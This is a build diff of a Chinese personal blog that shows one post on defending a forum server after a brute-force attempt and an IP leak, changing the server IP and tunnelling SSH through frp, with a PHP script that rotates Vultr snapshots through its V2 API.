<a href="#使用示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 使用示例
</h2>
<p>像我之前写的<a href="/2021/03/23/wxpush.html">微信推送</a>中不是就需要这个用户的OPENID嘛假如一个网站想要主动给某些用户推送消息就可以先调用这个接口获得用户的OPENID然后存起来有必要时可以直接使用微信推送来给用户推送信息。另外这个OPENID是唯一的所以假如想做网站二维码扫描绑定登录同样也可以使用这个接口。具体实现就非常简单了所以示例代码我就不写了。</p>
<h2 id="注意事项">
<a href="#注意事项"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 注意事项
</h2>
<p>像这个代码依然不防滥用,并且我也没有检验过安全性,是有很大可能有漏洞的。所以有懂安全的大佬也可以指点一下,来完善这个项目。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%99%BB%E5%BD%95"><em>登录</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E9%AA%8C%E8%AF%81"><em>验证</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-04-09-weauth.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/04/09/weauth.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/04/05/try3.html">
上一篇Mayx的产品测评
</a>
</span>
<br />
<span class="next">
<a href="/2021/04/18/hide.html">
下一篇Mayx的运维笔记 - 隐藏自己
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/04/09/weauth', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/04/09/weauth.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

329
2021/04/18/hide.html Normal file
View File

@@ -0,0 +1,329 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>Mayx的运维笔记 - 隐藏自己 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="Mayx的运维笔记 - 隐藏自己" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="互联网是个很危险的地方……" />
<meta property="og:description" content="互联网是个很危险的地方……" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-04-18T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="Mayx的运维笔记 - 隐藏自己" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-04-18T00:00:00+08:00","datePublished":"2021-04-18T00:00:00+08:00","description":"互联网是个很危险的地方……","headline":"Mayx的运维笔记 - 隐藏自己","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/04/18/hide.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/04/18/hide.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/04/18/hide.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-04-18T00:00:00+08:00">18 April 2021</time> - 字数统计1869 - 阅读大约需要6分钟 - Hits: <span id="/2021/04/18/hide.html" class="visitors">Loading...</span></small>
<h1 class="p-name">Mayx的运维笔记 - 隐藏自己</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sun, 18 Apr 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章记录了运维者Mayx处理网站内存溢出问题的经历。在处理过程中他发现服务器被一个IP地址159.89.47.109攻击且真实IP可能已被泄露。为保护服务器他决定修改运行模式、升级服务器配置、使用frp保护SSH端口并通过Vultr API更换了服务器的IP。同时他还提到在处理过程中遇到的API变化从V1升级到V2以便更好地利用其RESTful特性来整合通知功能。最后他强调了网站安全的重要性遇到问题要及时备份和调整策略。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#解决ip泄露">解决IP泄露</a></li><li><a href="#更新快照脚本">更新快照脚本</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>互联网是个很危险的地方……<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>最近几天我维护的花火学园貌似时不时的会爆内存……不过这倒是也是正常的事情PHP好像默认情况下不会自己释放内存我之前本来是想把那个运行模式改成ondemand但是看网上说好像都不怎么推荐……但是既然已经爆了几次内存那我也没得选了就把运行模式改了。 </p><p>
在检查服务器的这段时间里我发现居然有一个不自量力的家伙在爆破我的服务器看IP是159.89.47.109,随便访问了一下想不到上面还跑了个网站?不知道是这个网站被黑了变成肉鸡了还是这个网站的所有人确实脑子有问题……</p>
<h1 id="解决ip泄露">
<a href="#解决ip泄露"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 解决IP泄露
</h1>
<p>总之无论如何这已经证明了论坛的真实IP已经泄露了因为我开了很多防火墙白名单对网络流量这一块限制的很严格所以正常情况下外面是不应该知道我的网站IP的不过我的SSH端口虽然改了但是因为我的位置经常在变所以这个并没有设置白名单。 </p><p>
不过还有一个可能性最近貌似有个自称Tyosakuken FANZA的家伙给我们的运营商发了DMCA投诉CloudFlare是真的会把真实IP告诉投诉者的。我不知道这个发投诉的人是个啥情况总之这个公司貌似是日本的先把日本的流量全封了再说。 </p><p>
另外IP肯定是要改了正好趁这个机会干脆再小幅度的升一下服务器的配置好了之前一直用的是Vultr的Cloud Compute这次试试High Frequency说不定速度会变快。于是我就用快照重新部署了一下服务器。结果在等它部署的期间居然睡着了😂这下可用率又要掉了。 </p><p>
不过SSH端口这个……我也不能每次要用的时候再去开它那样很麻烦所以……我想了想要不然就用frp吧直接不开放SSH端口流量就从frp里经过而且这个东西还支持访问验证这样也能避免被扫了不过我确实还是没办法确认这个东西的安全性不知道这到底是提高了破解难度还是放了个定时炸弹……毕竟它是可以无视防火墙的啊。</p>
<h1 id="更新快照脚本">
<a href="#更新快照脚本"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 更新快照脚本
</h1>
<p>换了IP之后服务器的ID也跟着一起变了我正打算改这个东西的时候发现Vultr怎么也变了原来用的是SUBID现在变成了实例ID了……当时我不是很精通API所以是从<a href="/2020/06/17/backup.html">网上随便找的脚本</a>现在我用PHP调API调的也算熟练了吧正好这次V1的API貌似要被废弃了我就看看文档整个V2的API吧。代码如下</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$api_key</span><span class="o">=</span><span class="s2">"APIKey"</span><span class="p">;</span>
<span class="nv">$instance_id</span><span class="o">=</span><span class="s2">"实例ID"</span><span class="p">;</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://api.vultr.com/v2/snapshots"</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Content-Type: application/json;charset=utf-8</span><span class="se">\r\n</span><span class="s2">Authorization: Bearer "</span><span class="mf">.</span><span class="nv">$api_key</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=&gt;</span><span class="s1">'{"instance_id": "'</span><span class="mf">.</span><span class="nv">$instance_id</span><span class="mf">.</span><span class="s1">'"}'</span><span class="p">))));</span>
<span class="nv">$snapshot_list</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://api.vultr.com/v2/snapshots"</span><span class="p">,</span><span class="kc">false</span><span class="p">,</span><span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'GET'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Authorization: Bearer "</span><span class="mf">.</span><span class="nv">$api_key</span><span class="p">)))),</span><span class="kc">true</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$snapshot_list</span><span class="p">[</span><span class="s2">"meta"</span><span class="p">][</span><span class="s2">"total"</span><span class="p">]</span><span class="o">&gt;</span><span class="mi">10</span><span class="p">){</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://api.vultr.com/v2/snapshots/"</span><span class="mf">.</span><span class="nv">$snapshot_list</span><span class="p">[</span><span class="s2">"snapshots"</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s2">"id"</span><span class="p">],</span><span class="kc">false</span><span class="p">,</span><span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'DELETE'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Authorization: Bearer "</span><span class="mf">.</span><span class="nv">$api_key</span><span class="p">))));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>像这个也可以整合我之前写的<a href="/2021/02/02/serverchan.html">测试号通知</a>或者<a href="/2021/02/26/serverchancorp.html">企业号通知</a>来用用之前记得加上addslashes不然可能会出问题。 </p><p>
另外这个V2的API貌似还是RESTful的呢看起来倒是更简单易懂了。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>总之在网上一定要注意网站安全一旦有出问题的迹象要赶紧备份有必要的情况该换IP就只能换了。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E8%BF%90%E7%BB%B4"><em>运维</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%AC%94%E8%AE%B0"><em>笔记</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E9%9A%90%E8%97%8F"><em>隐藏</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-04-18-hide.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/04/18/hide.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/04/09/weauth.html">
上一篇自制微信二维码登录API
</a>
</span>
<br />
<span class="next">
<a href="/2021/05/07/ssh.html">
下一篇:网络任意互联指南
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/04/18/hide', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/04/18/hide.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

393
2021/05/07/ssh.html Normal file
View File

@@ -0,0 +1,393 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>网络任意互联指南 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="网络任意互联指南" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="SSH真的是太厉害了" />
<meta property="og:description" content="SSH真的是太厉害了" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-05-07T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="网络任意互联指南" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-05-07T00:00:00+08:00","datePublished":"2021-05-07T00:00:00+08:00","description":"SSH真的是太厉害了","headline":"网络任意互联指南","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/05/07/ssh.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/05/07/ssh.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/05/07/ssh.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
